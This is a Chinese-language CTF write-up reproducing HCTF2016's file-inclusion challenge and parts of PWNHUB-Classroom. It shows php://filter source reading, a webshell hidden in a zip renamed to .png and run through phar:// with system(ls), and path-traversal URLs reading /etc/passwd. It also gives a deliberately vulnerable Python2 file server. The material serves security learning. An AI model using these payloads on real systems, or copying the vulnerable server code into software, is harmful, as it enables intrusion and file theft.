目录遍历复现(ZIP伪协议、Python遍历)
原题HCTF2016 兵者多诡
项目地址:https://github.com/Heart-Sky/HCTF2016-LFI
1.收集题目信息
题目上传图片,先简单抓包
发现包中URL进行了两次变化:
2.分析
结合上面的抓包,内容联想是否是文件包含题目
首先猜测
?fp=show.php
返回结果一样,包含失败
尝试修改为
?fp=./show
返回数据包中出现重定向,说明存在文件
这样一来可以确定的是题目考点是文件包含
3.读取源码
逐个尝试
最后base64解密得到./show的源码:
<?php $imagekey = $_GET['imagekey']; if(empty($imagekey)) { echo "<script>location.href='home.php'</script>"; exit; } ?> <div class="alert alert-success" role="alert"> 上传成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">点此查看</a> </div>
同理发现./upload访问后也重定向
包含得源码
<?php include 'function.php'; if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name'])) { $name = $_FILES['image']['tmp_name']; $type = $_FILES['image']['type']; $size = $_FILES['image']['size']; if(!is_uploaded_file($name)) { ?> <div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div> <?php exit; } if($type !== 'image/png') { ?> <div class="alert alert-danger" role="alert">只能上传PNG图片</div> <?php exit; } if($size > 10240) { ?> <div class="alert alert-danger" role="alert">图片大小超过10KB</div> <?php exit; } $imagekey = create_imagekey(); move_uploaded_file($name,"uploads/$imagekey.png"); echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>"; } ?>
分析源码可以看见,题目要求只能上传png后缀图片,且大小不超过10KB。对比一下自己写的图片马,肯定都是大于10KB无法上传的。
4.伪协议的利用
PHP中的ZIP伪协议可以读取调用压缩包中的文件,zip://
事先准备好php的webshell,压缩成zip,上传绕过前端的验证
错误的绕过:
修改了文件类型,解析的时候会出问题
正确的绕过:压缩后修改后缀名,参考:如何伪装压缩文件为图片
访问的图片URL:
详细包含示例:
#号后面是压缩包里的文件1.php,读取的时候只有文件名1,不需要后缀(上面为了便于理解加了.php)
尝试包含但是zip无法使用,就替换成类似的phar://
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);
看到目录下的flag文件,直接源码包含
http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9
得到
Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo= Congratulations,flag is here,and then? <?php //hctf{Th1s_1s_e4sY_1s_n0T_1t?} ?>
原题PWNHUB-Classroom
找不到原题没法复现,就把要点拆开来分析
1.Django目录遍历漏洞
1.静态资源逻辑配置错误
Python框架静态资源目录不安全配置导致(不方便复现就没有复现):
URL:
/static/../../../../../../etc/passwd
../和./作用相同,不断向上跳转目录,直到到系统达根目录,根目录的父目录还是根目录自己,此时我们便能读取敏感信息路径
2.普通目录遍历
环境Python2,代码:
# -*- coding: utf-8 -*-
import sys
import SocketServer
import BaseHTTPServer
import threading
import time
import exceptions
import os
class MyHttpRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
if os.path.isfile(self.path):
file = open(self.path)
self.wfile.write(file.read())
file.close()
else:
self.wfile.write('hello world')
class ThreadedHttpServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
__httpd = None
@staticmethod
def get():
if not ThreadedHttpServer.__httpd:
ThreadedHttpServer.__httpd = ThreadedHttpServer(('0.0.0.0', 80), MyHttpRequestHandler)
return ThreadedHttpServer.__httpd
def main():
try:
httpd = ThreadedHttpServer.get()
httpd.serve_forever()
except exceptions.KeyboardInterrupt:
httpd.shutdown()
except Exception as e:
print
e
if __name__ == '__main__':
main()
关键代码:
if os.path.isfile(self.path):
file = open(self.path)
self.wfile.write(file.read())
file.close()
当路径下存在文件时,读取并显示
URL:
127.0.0.1/././././././etc/passwd
2.Pyc字节码反编译
Python3在运行Python文件时,会对运行的模块进行缓存,并存放在_pycache_目录下
其命名规则:
module_name一般是Python文件的名称
知道以上内容,可以使用https://tool.lu/pyc/进行在线反编译
3.Django的ORM注入漏洞
关于这一点网上资料甚少,只有讲解最基础的ORM:Django的ORM理解